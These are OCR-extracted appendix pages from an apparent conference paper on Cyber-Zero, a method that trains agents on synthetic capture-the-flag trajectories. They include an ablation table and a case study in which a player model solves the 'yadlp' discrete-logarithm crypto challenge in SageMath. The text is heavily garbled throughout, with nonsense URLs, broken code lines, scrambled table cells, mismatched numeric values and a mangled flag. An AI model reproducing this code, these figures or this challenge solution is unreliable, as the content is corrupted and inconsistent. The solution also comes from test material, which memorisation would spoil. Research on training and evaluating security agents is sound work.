15.0
Pass@1 (%)
50-
10.0
2,5
Trajectories per Challenge
Trajectories per Challenge
Trajectories per Challenge
Cyber-Zero-88
Cyber-Zero-148
Figure 6: Effect of trajectory density. Increasing the number of synthetic trajectories per task during training consistently improves performance, with particularly strong gains on complex challenges.
This finding parallels results from trajectory-based learning in other domains (Pan et al., 2024), where multiple demonstrations per problem expose models to richer variation in reasoning paths, repair behavior, and error recovery. The consistent improvements across model sizes suggest that trajectory diversity provides complementary benefits to model capacity, enabling more robust learning of cy cybersecurity groblem-solving patterns.
G ABLATION STUDIES
To better understand the design decisions in CYBER- ZERO and their impact on agent effectiveness, we conduct several ablation studies. We focus on whether multi-turn generation leads to better exploration behavior.
Table 7: Effect of synthesis strategy on stuck-in-loop rate and Pass @ performance across bench- marks.
InterCode-CTE (%)
NYU CTF (%)
Cybench (%)
Synthesis
Stuck (L)
@ass I (t)
Stuck (U)
Pass (t)
Stuck (1)
Pass @ I (1)
Qwen3-8B
Zero-Shot Single-Turn
36.0
46.5
44.0
0.8
51.6
5.0
25.3
73.9
81.6
0.0
Multi-Turn
64.8
51.6
10.0
Qwen3-14B
Zero-Shot Single-Turn
11.1
55.0
44.0
2.6
51.6
12.5
54,9
34.1
58.0
2.1
63.6
7.5
Multi-Turn 7.8
73.6
21.1
9.9
22.0
20.0
Multi-turn synthesis improves exploration efficiency. To study the effectiveness of the multi- turn trajectory synthesis via models, propose generate the trajectories in the single turn while still mimicking the ENIGMA interface. However, unlike the original synthesized trajectories, the one-shot trajectories are more straightforward and contains few turns raising execution errors, shortening the interaction counts between the player and Bash terminal. As shown in Table 7, using multi-turn generation during trajectory construction reduces the frequency of agents getting stuck in repetitive loops and increases overall task success. This suggests that exposing the model to rich trial-and-ent sequences at training time enables more exploratory behavior and better adaptation during evaluation.
H QUALITATIVE STUDIES ON SYBER-ZERG DATA
We provide five case studies of the synthetic CYBER- ZERO data that we use to fine-tune the models. Specifically, the studies are provided in the order of Cryptography (crypro), Foren-
30

---

Published as a conference paper at ICLR 2026
sics (forensics), Binary Analysis (pwn), Reverse Engineering (rev), and Web Exploitation (web).
H.1 TRAJECTORY ANALYSIS OF YADLE CHALLENGE
The cryptography (crypte) challenge "yadlp" from the DownUnderCTF 2021 competition presents a custom discrete logarithm problem (DLP) implemented in SageMath. The challenge provides two files: yadlp. sage, which defines non-standard group structure and encryption logic, and output. txt, which contains ciphertext and associated parameters.
The agent successfully solves the challenge by performing the following steps:
1. Inspect the challenge files:
The agent lists and opens both yadlp. sage and output. txt. The Sage script defines group operations G_add and G_mul based on large prime modulus and parameter D 13337. It constructs group over pairs (z, y) E PP using these operations.
2. Recognize field isomorphism:
Observing the algebraic form of the group operation, the agent hypothesizes that this custom group is isomorphic to the multiplicative group of the quadratic field extension F2 = [p[x)/(2² D). This is confirmed by testing several group operations and comparing them to multiplication within Ep2.
3. Recast DLP in E F2 By mapping each group element to an element in F,z via (z, y) + I + y a, where a² = D, the agent transforms the discrete logarithm problem in the custom group into DLP the multiplicative group of 222.
4. Solve DLP using Sage: Utilizing Sage's built-in discrete log function, the agent recovers the integer scalars m, for each group element G; such that e = G. These correspond 64-bit chunks of the original flag.
5. Reconstruct the flag: The recovered integers are converted back to bytes using Python, and concatenated to form the full flag: DUCIF(a_Ia) 111la1133.__ 11333__yprrbll__m33333 httssstssmmmiipps_p___..
6. Submit the flag: The agent submits the extracted flag, successfully completing the chal- lenge.
This challenge demonstrates how recognizing algebraic structures hidden behind custom group operations can transform an unfamiliar cryptographic system into a well-known problem finite fields. The use of SageMath's 's symbolic and number-theorete tools instrumental in identifying the field structure and solving the discrete logarithms efficiently.
CTF Challenge
We're currently solving the following CTF challenge. CTF challenge is crypto problem named "yadlp". worth 494 points. The description is:
We re currently solving the following CTF challenge. The CTF challenge is crypto problem named "yadlp", worth 494 points. The description is:
Yet another discrete logarithm problem challenge...
Files included the challenge: ('yadlp.sage 'output.txt!)
INSTRUCTIONS:
Now, you' re going to solve this chal chage on your own. Your termi nal session has started and you're re in the challenge's root directory. You can use any bash commands the special interface help you.
Solve the challenge, executing any commands you need and writing any code that may be helpful. You can also install new software in the container using "apt-get install', or Python packages with "pip install'.
31

---

Published as a conference paper at ICLR 2026
Remember, YOU CAN ONLY ENTER ONE COMMAND AT TIME. You should = always wait for feedback after every command.
when you think you have found the flag, you can submit your solution by simply running the submit command.
Note however that you cannot use any interactive session commands
(e.g. python, vim) in this environment, but you can write
scripts and run them. E.g. you can write python script and then run it with "python seeript_name>.pp
NOTE ABOUT THE EDIT COMMAND: Indentatien really matters! When editing a filc, make sure to insert appropriate indentation before each line!
IMPORTANT TIPS:
1. When you edit an existing file, try to minimize the changes you make to the sile.
2. Please make sure that you make use of the interactive tecls supplied to you! In any case, you want to run blocking command like netcat (nc), please minimize the time by limiting its run time, for example using the "-w" flag of ne with timeout of seconds "nc -w5 127.0.0.1 80".
3. Try AVOID brute force attacks, but when you encounter brute force attack, please use a script that writes output to STDCUT for the brute force instead of trying manual attempts.
4. Please flag, you should create files instead.
run commands pythen sage through the "-c"
5. Prefer using tools and commands available in the container or other tools available online complicated commands yourself.
writing lot ccde
In particular, prefer using "open" instead of "cat" and fill" instead of "grep", and prefer using the interactive commands supplied to you!
6. DO NOT run any command that produces binary output! Instead try to use "hexaupp" or "xxd",
7. Please remember that the container is exposed the internet, so you can use whatever online rescurce you would like! Use wisely!
8. Do not use interactive commands AT ALL! Interactive commands are only available through the commands supplied to you the beginning make use them!
9. YOU CAN SOLVE THE CHALLENGES BY YOURSELF COMPLETELY TRUST IN YOU!
(Open file: n/a)
(Current directory: / home______________________ [CM (Interactive session: n/a) bash-$
32

---

Published as a conference paper at ICLR 2026
Player Model
https://offttnee.og/rrrree/////
Let me start by analyzing this challenge. This is a cryptegraphic challenge related to the discrete logarithm problem (DLP), which is & fundamental problem in cryptography. The name "yadlp" likely stands for "Yet Another Discrete Logarithm. deseription.
Froblem" as mentioned
First, need to explore what files we have in the current directory and examine their contents. Let me check the directory first.
First step is to understand what files we have:
1s -1a
Terminal Model
httpp:///cffiine.orrg//wtttttgg
total 8
drwxr-xr-E 2 roet root
4096 Jan 1 12:00
drwxr-xr-x root root 4096 Jan 1 12:00
----E---- root root 785 Jan 1 12:00 output txt txt
-rw-r--r-- root root 889 Jan 1 12:00 yadlp. (Open file: n/a)
(Current directory: httpeeee_aa_oaaaaaaaaaaaaeeeeee yad1p)
(Interactive session: n/a)
bash-$
Player Model
https://cc.ttiiee.rrrrwwttttpp
I see we have two files: "output. and syadlp.agee". Since this is discrete logarithm problem, the sage file is likely containing the implementation of the DLP challenge, and output.txt probably contains the public parameters and possibly the encrypted data.
let's first look the content of yadlp. sage to understand the impl ementatinn::
open yadlp. sage
Terminal Model
http:://eefttii..ooo///wtttttgto
Ltt_c__aaabaeee_eeaaea_aa sataiase__yadll/yaapp..ss (29 lines) 1:#!/usr/bin/ens sage
[File: / home __me___L________________________
2:
3:from random import randint
4:
5:0 13337
6:p 175681
$50019808911112277999981112853
7:
8:def G add (2, B)
9: x1, y1 = A
10:
x2, y2 B
33

---

Published as a conference paper at ICLR 2026
11:
return (xx1*x2 D+yl+y2) Pr (x1+y2 x2+y1 2+y1+y2)
p)
12:
13:def G_mul (A, k):
14:
out (1,
15: while k
16:
if k & 1:
17:
out G G_add (out, A) G_add (A,
18:
19:
>>=
20:
return out
21:
22:def get get_elem (x)
23:
x**2
1) 1) and krenecker (d, p) 1: = (x + sqrt (Zmod (p) (d))) inverse mod (D, p) 8 p
24:
(x &
25:
26:
return (x, y)
27:
else:
28:
return
29:
(Open file: //h/__ho home CTF__ataaaaeeeeeeeeaaaaaaaa__e_ hat__aatbase___adlpeeelllle yadpp/yadlpppppppppppppppp sage)
(Current directory: / home LLM_CTP CTF_Daaaaaaeee____e yadlp) (Interactive session: n/a)
bash-$
Player Model
http:://ccctiii..oo/rrrrrreepppp
This looks like an interesting cryptographic implementation see
4 several key components:
1. TTere's constant D - 13337 and a large prime
2. The implementati
includes group operations (G_add and G_mul) 3. The acd function seems to be implementing special group law
4. G_mul implements scalar miltiplication using the double-and-ada method
5. get_elem seems to be generating group clements based en some conditions
Let 's check the output.txt file to see what parameters or challenge data we're working with:
open output. txt
Terminal Model
LLt____C_____aaaaaaeeeee-eee [File: home h___mm___L______C LLM_CTF Databastaaeeea....a. SecTT_/atbbas__aallloopppppepe ywtpp/outptp..txx...... (16 lines) ]
1:FLAG open ('Elag. txt', 'rb') read st.rrpp)))
2:assert (FLAG) 8
3:M lint www.:trrooyeeeeee (FLAGL1:1+8), 'big') for range (0,
- 1en (FLAG), 8)
4:print (f' (FLAG - }
5:print (M -
6:G Irand element for in
7:c (1, 0)
8:for m, gi in zip G) 9: c (e, G_mul (gi, m)
10:
34

---

Published as a conference paper at ICLR 2026
11:0
4
8
5
7
12:c
16998888811001122281888899999119
13:print (f' - }
14:print (f'(c }
15:
16:
(Open file: / home LIM CTF CTF_Database Cot_aataaass_yyadppoottttt wwwpp//oupp...tttttttt (Current directory: / home LLM Sare__atabae__eeee yadlp) (Interactive ivee session: n/a) bash-$
LLM_CTF
Player Model
attp:://ccttiine.or///tttteee
After analyzing both files, I can see this is an interesting cryptographic challenge. Here's what understand:
1. The implementation is using special group operation with paraneter D=13337
2. The flag was split into 8-byte chunks and converted to integers (M)
3. Random group clements were generated for each chunk
35

---

Published as a conference paper at ICLR 2026
4. The ciphertext was created by combining G_mud (gi, m) operations for each message chunk and group el ement
5. We're given the list of group elements G and the final ciphertext
This appears to be custom group implementation, possibly related to elliptic curves or similar algebraic structures. Locking at the operations:
G_add implements the group law
G_mul implements sealar mittipiiattion get_elem generates valid group elements
We'll need to:
Understand the group structure
2. Find a way to solve the discrete Logarithm in this group
3. Extract each message chunk
4. Convert back to bytes to get the flag
Let's first try to understand more about the group structure. need to create a sage script to analyze the group properties.
create ynalyze_group..
Terminal Model
https://cctfiimm.oropp htt.://mmmm.ogg/e.ttte////////
[File: analyzo_group sage created]
File has been created. You can now edit
(Open file: analyze_group sage)
(Current directory: / home Bta___CC_Daaaaee________ yadlp) (Interactive session: n/a) bash-$
Player Model
https:///cff..mee.orr/rtttttt
I'll create script to analyze the group properties. We need to understand the order of the group and if there any special propertics we can exploit. Let me write analysis script:
edit 1:1
#//us/bin/enn sage
D 13337
65522777786660005557774441011110 067995009110112219966222222222
def G G_add (A, B): x1, y1 A
x2, y2
return [x1+x2 D+yl+y2) P. (x1+y2 x2+y1 2+y1+y2) p
def mmm (A, k): out (1, 0)
while
if & 1:
out = G (dut, A)
A G add (A, A)
k >>
36

---

Published as a conference paper at ICLR 2026
return out
Test point from the output
Find small order elements to understand group structure print ("Testing small multipliers:")
for i in range (1, 11):
Q G_mul (P, (fint 1Q1")
Test if point addition is commutative
P2 00066314458995777711777555111111
221181122005566697722223339
print ("AnTestingg commurativity:""
print (E"E + P2 (G_add F2) )*)
print (E"P2
(F2add(P2, P) })))
Check if identity element works expected (1, 0) print ("AnTesting identity:")
print (f"P + I [G (P, })) print (f"I P (I, P) }))*) end_of_edit
Terminal Model
httpe://ecitiim..oo//rrrraoppgp
File updated. Please review the changes and make sure they are correct (correct indentation, duplicate lines, etc). Edit the file again if necessary.
[Current content of analyze_group. (lines 1-37)] 1:#! htt!/usr/bi//ew
2:
3:D 13337
4:p 01881277661201011100000222001119 556799506971111277966668-888
5:
6:def G_add (A, B)
7: x1, y1 = A
8: x2, y2 =
9: return (x1+x2 D+y1+y2) 8 P, (x1+y2 x2+y1 2+y1+y2) &
10:
11:def G_mul (A, k):
12:
out (1, 0)
13: while k 0:
14:
if
15:
out G add A)
16:
A = G add (A, A)
17:
>>= 1
18:
return out
37

---

Published as a conference paper at ICLR 2026
19:
20:
Test point from the output
21:P - (19446665S0111555550000011331111
#2215044499669990055334444446119 23:# Find small order elements to understand group structure
60225522228878888132222111111112 96275400188998881177766333111
22:
24:print ("Testing small multipliers:")
25: in range (1, 11):
26: - m_mul (P, i)
27:
(f (Q)")
28:
29: Test if point addition is commutative
30:P2 = (0168811152255777777777883533330
(1:print(""nneesttt ("\nTesting commutativity:""
32:print (f"P + P2 (F_add )2)
33:print (f"P2 P = (G_add }))")
34:
35:# Check if identity element works expected
36:1 (1, 0)
37:print ("\nTesting identity:")
38:print (E"P + I = 10 add (P, })) 39:print (F"I + = IG_ (I, P) }))")
(Open file: analyze_group sage)
(Current directory: home Lot_e___LLLCCC___aaaaaa________ (Interactive session: n/a) bash-$
Player Model
http:://ccffiine.rrrr/rrtttttppp
The script looks good with proper indentation. Now Let run it to analyze the group properties:
sage analyzc_group.ce sage group analyssna
Terminal Model
http:://ccffiimeeorgg//vttttpppp
(Open file: analyze_group.cr sage)
(Current directory: /_moe / httpa____________aaaabe_______a (Interactive session: n/a) bash-$
Player Model
https://ccfttinee.rrg/rrriippppp
Let me check the output of our analysis:
open group grwop_anaalaaeeeeeeeee analysis.txt
38

---

Published as a conference paper at ICLR 2026
Terminal Model
[File:
ott.a//awoooooooaaaoaooaaoaaaaar (23
/twho___hhhhhheee lines)]
1:Testing small multipliers: -wm.aaaaiiiielee:::.....aaoa00i0
2:1: [=a_1/00550111111110444003323320
- -.220001000021222277777999923399
3:2:
4:3:
5:4:
5:5:
6:
8:7:
9:8:
10:9:
39

---

Published as a conference paper at ICLR 2026
11:10:
982T4490000177855622119992221111
12:
13:Testing hrg.a/agg....cttaa.tta.oo..aoa..
14:
15:
$9725558886665500005572222222883
55575986667722833000000008888880 4 85466488770037228877577711101010
16:
17: Testing identity:
18: 12210000551119333300000002222223
20:
21:
22:
23:
(Open file: / home LIM_CTF_Patabart htt.aaaaaaass___ada/gggoooooo wtw.roppppaallsss..xtt...
(Current directory: / home LLM_CTE_ _aar_eaaaaaeee_etee _ yadlpp
(Interactive session: n/a)
bash-$
Player Model
Analyzing the output reveals several important properties of this group:
1. The group operation is commutative (P P2 P2 + P)
2. The identity element (1, 0) works correctly (P + +I II= P)
3. Looking at the small multipliers, there doesn't seem to be a small order for the points
4. The coorainates remain within the prime field modulo P
This appears to be custom group implementatio that resembles an algebraic structure. The group law reminds me of quadratic field extension or specific similar to quadratic extension field multiplication.
The operation G add looks
Siven D 13337, the group law seems to be:
(x1, y1) + (x2, y2) (x1x2 + Dyly2, xly2 x2y1 2y1y2)
40

---

Published as a conference paper at ICLR 2026
Let me create a script to try to find more properties of this structure:
create analyze_strrcture..ea
Terminal Model
httpp:///cfff.im...rr/rwttettppp
[File: analyze_structun sage created]
File has been created. You can now edit it.
(Open file: analyze_sta htapyy/e_struuturesaaa (Current directory:
home __t_____________________________
yadlp)
(Interactive session: n/a) bash-$
Player Model
I'1l write script to analyze more properties of this algebraic structure:
edit 1:1 #//usrbbi/een sage
D = 13337
= 711552211122200/1111000000022233
def G add (A, B) x1, y1 A
x2, y2
return (x1*x2 D+yl+y2) P. (x1xy2 x2xy1 2xy1xy2) p)
def G_mul (A, k): out while 0)
6 1:
out G_add (out, A)
A = G. add (A, A)
>>>
return out
Test if this resembles a quadratic field extension
GF (p)
R. <x> = F[]
# Try to construct field with x
K. <a> = Fxextensionnxx122 D, 'a')
Test point from output
T77255511.0111444400777771159999 - 1665555113633111882555552,,
9627550018603881177666999999
Convert point to field element
print (*Testing field isomorphism:")
41

---

return out Published as a conference paper at ICLR 2026
P P_field PIO] PIl]+a
print as field element: (P_field)")
Test multiplication in field ve group
123
P_mul m_mul1e (F, k)
P_field_mul P_sielddk
print (f" (nnestiig k-123 multiplication:") print (f"Group mul: (P_mul)") print (f"Field mul: [_.feeld_mll.oolnnmee (111)))) [1]))*)
() [0]),
Check the order the field print (f"AnField multiplicative order: Ip^2 1)")
print (f"Factors of order: (factor(p"2 1)
end of edit
Terminal Model
http:://ccftiine.orr/wrrtttppppp
File updated. Please review the changes and make sure they are correct (correct indentation, no duplicate lines, etc). Edit the file again if necessary.
[Current content of analyze_structure..e (lines 1-44)] 1:#!/ssrbbn//en sage
2:
3:D 13337
4:p 11555177744553777111111112966661 11912277078804430033777444411113
4 556679466871111121799668888811
5:
6:def G G_add B)
7: x1, y1
8: x2, y2
9: return (x1*xx + Dayl+y2) & p. (x1xy2 + x2+y1 2*y1xy2) $ p)
10:
11:def G_mul (A, k):
12:
out (1,
13: while k 0:
14:
if k & 1:
15:
out G add A)
16:
= G add (A,
17:
>>ニ
18:
19:
20:4 Test if this resembles quadratic field extension
21:F (p)
22:R.<00 <x = F[]
23:# Try to construct field with x²2
24:K.<a> = F.extension (x"2 D, 'a')
25:
26:# Test point from output
27:P 022.5440555511113333000000101110
92775001888888817776339999
28:
29:4 Convert point to field element
42

---

Published as a conference paper at ICLR 2026
30:print ("Testing #ield isomorphism:")
31:P_field P[O] P[1]+a
32:print (f"P as field element: (F_field)")
33:
34:# multiplication
field vs group
35:k 123
mul = G m_mul (P, k)
[fe_fieed_mll P_field*k
38:
39:print (f"AnTesting k=123 miltiplication:")
40:print (f"Group mul: (P_ (P_mul)")
41:print (f"Field (f
mul: ([P_field_mul, wtw.mlplllllmmaaallmmmmmmmmmmmma () [0]),
(P_field_mul wtt.mmll.pplyypl. pollynmiall [1111*) (111)))
42:
43:# Check the order of the fiela
44:print (E"\nField multiplicative order: Ip 1)")
45:print (f"Factors of order: (p - 11 1*)
(Open file: analyze_structure. (Current directory: home (Interactive session: n/a) bash-$
Player Model
httpes//coffiiieerrr//wtteeeeppp
The script looks good with proper indentation. Iet's run it to analyze if this group is actually iscmorphic to quadratic field extension:
sage analyzc_structure. > stricture_anallyiis.kk
Terminal Model
httpp:///cfffiinee.rrrrrvtttetes
(Open file: analyze_ste wtw.easssuuuusseeeeeee
(Current directory: L_ jtt____jji______ttttbe_____llle (Interactive session: n/a) bash-$
Player Model
Yo re right, Let me check the output of our analysis:
open structure_analysis..kr
Terminal Model
httpe://effftieeerr//wwtttrrags
[File: / LIM_CIF TLL.CC/FED.aaaaaaaaaaaaaaattrurr
lines)
1: r:essing field seomorphism:
P:P as field element: (ng.aaaennonoooioo00000003333333
987754001550888877776033337
43

---

Published as a conference paper at ICLR 2026
3:
Testing k-123 mal.ippicattioon:
5:Group mul: 0B880866111110003777333335533333
6:Field mul: TTTFAAA8B8BBBB845EE2223333311333
7:
8:Field art.epaaa...aaaaa...ee.e.eeeaaea
9:Factors order: 2 3-3
3271 18119 23857 35923
1505323 * 3036643 3878597 A 7306661 661850419 696183413
737026033 748888849
764475661 790916521 1000657271 10006577777
1016247923 1213865039
* 2090081803 3882107087 4012893277
(Open file:
home LLM_CTE Dat_aaaaabbee.. LtwaarT.aaaaaaaaeeeeee..a.... httpaaaaaaaaattoururaaaaaaaaaaaa
(Current directory: / home L
(Interactive session: n/a)
bash-$
Player Model
This analysis reveals something crucial! The group operation is exactly iscmorphic to multiplication in the quadratic field extension GF (p²) with x² is confirmed by:
the defining polynemial. This
1. The group multiplication exactly matches field multiplication (the coordinates are identical)
2. The group law (xlx2 Dyly2, xly2 x2yl + 2yly2) corresponds to multiplication in (p²)
3. We now know the order the multiplicative group: pa
This means can convert this discrete Logarithm problem in the discrete logarithm problem in finite field GF (p²). This is a well-known problem with several algerithms available.
custom group
Looking at the factorization of pa 1, there are extremely
large prime factors. The largest factor is 4012893277, which is relatively small. This suggests we might be able to use Fohlig-Hellman algorithm combined with baby-step giant-step for each prime factor.
Let me write a script solve this using the field isomorphism:
create solve_dlp sage
44

---

Published as a conference paper at ICLR 2026
Terminal Model
httpor//ccft..m..og//wtvvveyyyg
[File: solve_dlp.see sage created]
File has been created, You can now edit it.
(Open file: solve_ solve_dlp. sage)
(Current directory: / home LLM_CTE _ yadlp) (Interactive session: n/a) bash-$
Player Model
I'11 write script to solve the discrete logarithm using the field isomorphism and Rellig-Rellman algorithm:
edit 1:1
#!/ust/bin/env sage
# Parameters from the challenge 13337
p 01965227788200030110002988888333
0077559897131221199999881333
Setup the field
F GF (p)
R.<x> = Fll
<.<a> = F.extension D, 'a')
Convert group elements to field elements
def to_field return P[O] + P[l]+a
def from (elemeett: poly = element. polyymmmpl () return (poly(0), poly[1))
Load the ciphertext and generators from
- 07525951135111222221111111111113
4
4TI16112886555666777783811
565393391101122221118999112
Convert to field elements
G_field = [to_field(g) for in G]
field (o_fleld
45

---

Published as a conference paper at ICLR 2026
Find discrete log for each generator p22 -1 dlogs []
for g :] Only need first two generators now
dlog discrete ciscrete_logle_fieeee alogs. (plog (dlog)
9, ord=n)
print (f"Found discrete log: (dleg)")
Convert to bytes and print flag
try:
flag_parts tdlog.to_bytes (8, 'big') for dlog in dlegs]
flag - b (ffn((ffaaaapaattt print (f"AnFag:: (flag)")
except:
print ("Error converting to bytes")
end of edit
Terminal Model
http:://eefft.m..orr///rrtayog/p
File updated, Please revicw the changes and make sure they are correct (correct indentation, ne duplicate lines, etc). Edit the file again if necessary.
[Current content of Solve_dip.san sage (Lines 1-47) ::#!usr/bin/emt sage
2:
3:# Parameters from the challenge 4:0 13337
5:p 11551177781200111111122299888888 11552219188000000777777722222220 $5611956891111121779668888883333
6:
7:# Setup the field
8:F GF (p)
9:R. <x> = F[]
10:K. <a> E.extension(x*) (x*2 'a')
11:
12: Convert group elements to field elementss
13:def (P)
14:
return P10| Pll]+a
15:
16:def from fieldddeeeeeet
17: poly = Alement.pollyomiin
18: return (poly[0), poly[1])
19:
20:# Load the ciphertext and generators from outout.txt
21:G (1444888000111133331000002222220
4
22:
46

---

Published as a conference paper at ICLR 2026
23:c 01316660000000010000000000111110
0077U8911E8800177777777761111110 569181881001229288887771114
24:
25: Convert to Eield elements
26:G_field (to_ficld(g) for in G]
27:e_field (o_
28:
29: Find discrete log for each generator
30:n - p -1
31:d1ogs []
32:for in ::
Only need first two generators for now 33: dlog = discrete_ Laceette__gggooee field, ord=n)
34: dlogs. adlend
35: print (f"Found discrete log: (dlog)")
36:
37:4 Convert to bytes and print flag
38:try:
39: flag_parts [dlog. tooggtt_bboo (8_bytes 'big') for dlog in dlegs]
40: flag b b (flag_parts) parts)
41:
print (f")nFlagg (flag)*)
42:except:
43:
print ("Error converting to bytes")
(Open file: solve_dlp.
(Current directory: (Interactive session: n/a) bash-$
Player Model
The script looks good with proper indentation and structure. Now let's run it to solve the DLP and get the flag:
sage solve_6lp.sag solution.txx
Terminal Model
http:://ccctiim..ooo//rrreeagg/
(Open file: seive_ddp.sagee.
(Current directory: / t Ltt_oe___LM_.CC__pattttaee______
(Interactive session: n/a) bash-$
Player Model
http:://ccfftiiee.rrrrvrtteeeppp
You' re right, I apologize. Let me check the output of our sclution:
open solution.txt
47

---

Published as a conference paper at ICLR 2026
Terminal Model
http:://eeftimm.oc//rrrree/////
[File: / LLL_LLLMCFFCCC Daterraaaaaaaeeeeeee_eeaaeaeeeee ___.ooo___ninct_aaaaaaaaeeeee___ htt.r//Ditaaaaoeeaappaaaaattttit wwtpp//lllllllsscooooo.... (3 lines) ]
1:Found discrete log: 642639660209902252277
2:Found discrete log: 2520367542243720000
3:Error converting bytes
(Open file: home LIM HIM_CTF_BB CTF__aaaaaaeeeeeeeeaaaaaaaa____
yadlp//olution..... txt)
(Current directory: / __w__hom________________________ Mome__L__CCEE Baai__cT_Daaaaae___________ yadlp)
(Interactive session: n/a) bash-$
Player Model
https://ccffiineeorr///vvttppppp First part: 6425396020090285276 second part: 25203687542643720009
Interesting! We found the discrete logarithms successfully:
However, there seems to be an error when converting to bytes. This could be because we need to handle integer to bytes conversion differently. Let me modify the script to fix the conversion:
create solve solve_flag.pt flag.py
Terminal Model
[File: soive_flag. py created]
File has been created. You can now edit it.
(Open file: solve_flag.pa
(Current directory: / home LLM CTF Database yadip) (Interactive session: n/a) bash-$
Player Model
I'll create Python script to handle the conversion these large integers to bytes:
edit 1:1
#!/ust/bineeny python3
Values from our DLP solution
partl = 642639602099228276
part2 25203687542643728809
def int int_to_ boobyyee((n))
# Convert to hex and ensure even length hex_str = hex(n) [2:] if len (hex_strr $/ != 0:
hex_str return bytes. Fromhex (hex_str)
hex_str
Convert each part to bytes flag parts []
for part in [partl, part2]:
flag paagpparts.apeenn (int to tt_ettttttttttttteeeeeeeeeeee (part))
Combine and print flag
48

---

Published as a conference paper at ICLR 2026
Elag b (oiag_____partss print Plallag: (flag)") end_of_edit
Terminal Model
File updated. Please review the changes and make sure they are correct (correct indentation, ne duplicate lines, etc). Edit the file again if necessary.
[Current content of flage_f (lines 1-18)] 1:#! ::::/us/bii/eny python3
2:
3:# Values from our solution
4:part1 6426396020090285776
5:part2 25203681542633720809
6:
7:def int bytes (n)
8: Convert to hex and ensure even length
9: hex_str = hex (n) [2:]
10: if len (hex_str) $ 2 != 0:
11:
hex_str '0' + hex_sta
12: return bytes. fromhex (hex_str)
13:
14:# Convert each part to bytes
15:flag_parss parts-pars = II
16:for part in Ipartl, part2]:
17: (lag_aarts.append(innn (ytt_o__btte (part))
18:
19: Combine and print flag
20:flag =b
21:print (f"Flag: (#lag)")
(Open file: solve_flag.py)
(Current directory: / home LWW_CCT__aataaee___aaaaaaaaa (Interactive session: n/a) bash-$
Player Model
http:://cccttiiee.rr///rrrtegg/p
The script looks good with proper indentation. Let 's run it to get the flag:
python3 solve_flag.py
Terminal Model
http:://ccfftime.oog//vttttttggo
Flag: b DDDCTFF 1337_h (a_337 (Open file: solve_flag.py)
(Current directory: /_ home
yadlp)
(Interactive session: n/a)
bash-$
49

---

Published as a conference paper at ICLR 2026
Player Model
Hmm, we 'e've only got part of the flag! Looking at the original
output.txt file, there were actually 6 group elements in G, not
just 2. We need to solve for all of them to get the complete
flag. Let modify DLF solving script to handle all generators:
edit 1:47 #!/usr/bin/env sage
Parameters from the challenge
D = 13337
65522277886655000777777751111112 0611955887101111117999661113
Setup the field
GF (p)
Rx<x> F[]
<.<a> V.extensionnxx22 D, ta²)
Convert group elements to field elements
def to (P):
return P[O] P[1]*a
def fron_field(element): poly = element polynomial (poly[0), [o]y[1])
Load all generators from txt
G = [1011094554533355000077222222213
(1
(31
(85
50

---

Published as a conference paper at ICLR 2026
9
00244599888801111119995511111213 36698853891101112999222228
Convert to field elements
field = Ito_ field(g) for in G]
field = to field(c)
Find discrete log for each generater h = p^2 -1
dlogs = []
for in G_field:
dlog discrete logrrtte__gg____el___l g, ord=n)
alogs.append
print (f"Found discrete log: (dlog)")
Print all values for solving print nmAnA11 values for flag reconstruction:") print (dlogs) end of edit
Terminal Model
http:://cctftine..or///viis
File updated. Please review the changes and make sure they are correct (correct indentation, no duplicate lines, etc). Edit the file again if necessary.
[Current content of solve_dlp.san sage (lines 1-47)] 1:#!/usrbiin/en sage
2:
3:# Parameters from the challenge 4:D 13337
5:p 11181778116615111100002888888813 550779566971112277966666688
- 11511222207800555000777777622222
6:
7:# Setup the field
8:F (p)
9:R. <x> = F[]
<x>
10:K.<a> <a> = F.extension (x*2 D, 'a')
11:
12:# Convert group elements to field elements
13:def to_fiel
14:
return P[0] P[1]*a
15:
16:def
from
17: poly element. poreenttpolyymmiaal. ()
18: return (poly10), po]y
19:
20:4
Load all generators from output. txt
51

---

Published as a conference paper at ICLR 2026
21:G
22:
23:
25:
26:
27:
28:c
566995388100122228888889914
29:
30:# Convert to Eield elements
31:G field (to_field(g) for in G]
32:0_ field (o_
33:
34:# Find discrete log for each generater
35:n p-2 -
36:dlogs = []
37:for in G_field:
38: dlog = discrete_log (s_filld, orden)
39: appgg. (dlog)
40: print (1und discrete leg: (dlogi")
41:
42:# Print all values for solving
43:print ( ("AnAll values for flag reconstruction:"))
44:print (dlogs)
(Open file: solve_dll sepp_dppppgg.......
(Current directory: / LM_____L_CCC____ LLAiM_CCF_Daataaee___allll yadlp)
52

---

Published as a conference paper at ICLR 2026
(Interactive session: n/a) bash-$
Player Model
https://cccttinne.rrrrrrzrtuupp
The script looks good, Let's run to get all the discrete logarithm values:
sage solve soive_alp.sag sage
full solution.
Terminal Model
http:://ecftimm..or//wrrragogg/
(Open file: solve_dlp. salve_dll.sago
(Current directory: / home L_M_cTT_Dattaase___aaa (Interactive session: n/a) bash-$
Player Model
https://ccft..ee.rr///wtttop/pp
You' re right, let me check the output from our solution:
open full_solution.ter
Terminal Model
https://ccctiii..oor///rreeeeppp
[File: / home LLM CIF Database Databaase__yadlp/euull wttpeayyllllllloootitioooo (8
lines)
1:Found discrete log: 6626396620090283327
2:Found discrete log: 25203687542643720880
3:Found discrete log: 31039456509557530224
4:Found discrete log: $209714495456360115
5:Found discrete log: 312611125704007488766
6:Found discrete log: 2801729329460226553 7:
8:A11 values for flag reconstructioon
9:16233660025527 ;,00
31039566094753324,
$20911444555556115, 2801723229402260661
31261713304444887777
(Open file: /_home_______
(Current directory: Lot_ee___iMMLLCC__aaaaaaaaaae___
(Interactive session: n/a) bash-$
Player Model
Great! We've got all six discrete 1cgarithh values. New let's update our flag solving script to handle all six parts:
edit 1:21
#//ust/bin/env python3
Values from our DLP solution dlogs
53

---

Published as a conference paper at ICLR 2026
62289960009922862777
7520368755224337280099
310394565595477302244
32097144495555366115,
312617112570407448876.
2801729329460226563
def Ait_tt_byttc (n)
and ensure even length hex_str = hex (n) [2:]
Convert
if len (hex_str) $ !- 0:
hex_str '0' hex_str return bytes. Fromhex (hex_str)
Convert each part to bytes Elag parts = I| for part in dlogs:
apperd (int_to_bytes (part))
Combine and print flag flag = b' @ooag_____parttt print (f"Flag: (flag)") ond_of_edit
Terminal Model
File updated. Please review the changes and make sure they are correct (correct indentation, duplicate lines, etc), Edit the file again necessary.
[Current content of solve_flag.py (lines 1-21)] 1:#! /tt:/usrbbi//env python3
2:
3:# Values from our DLP solution
4:dlogs =
5: 6426396020990285276,
6: 2520368152264372009,
21039455509544530244
8: 3209714449545636015,,
9: 312617122570007488776.
10:
28C1729339460225556
11:1
12:
13:def int_to_bytes (n)
14:
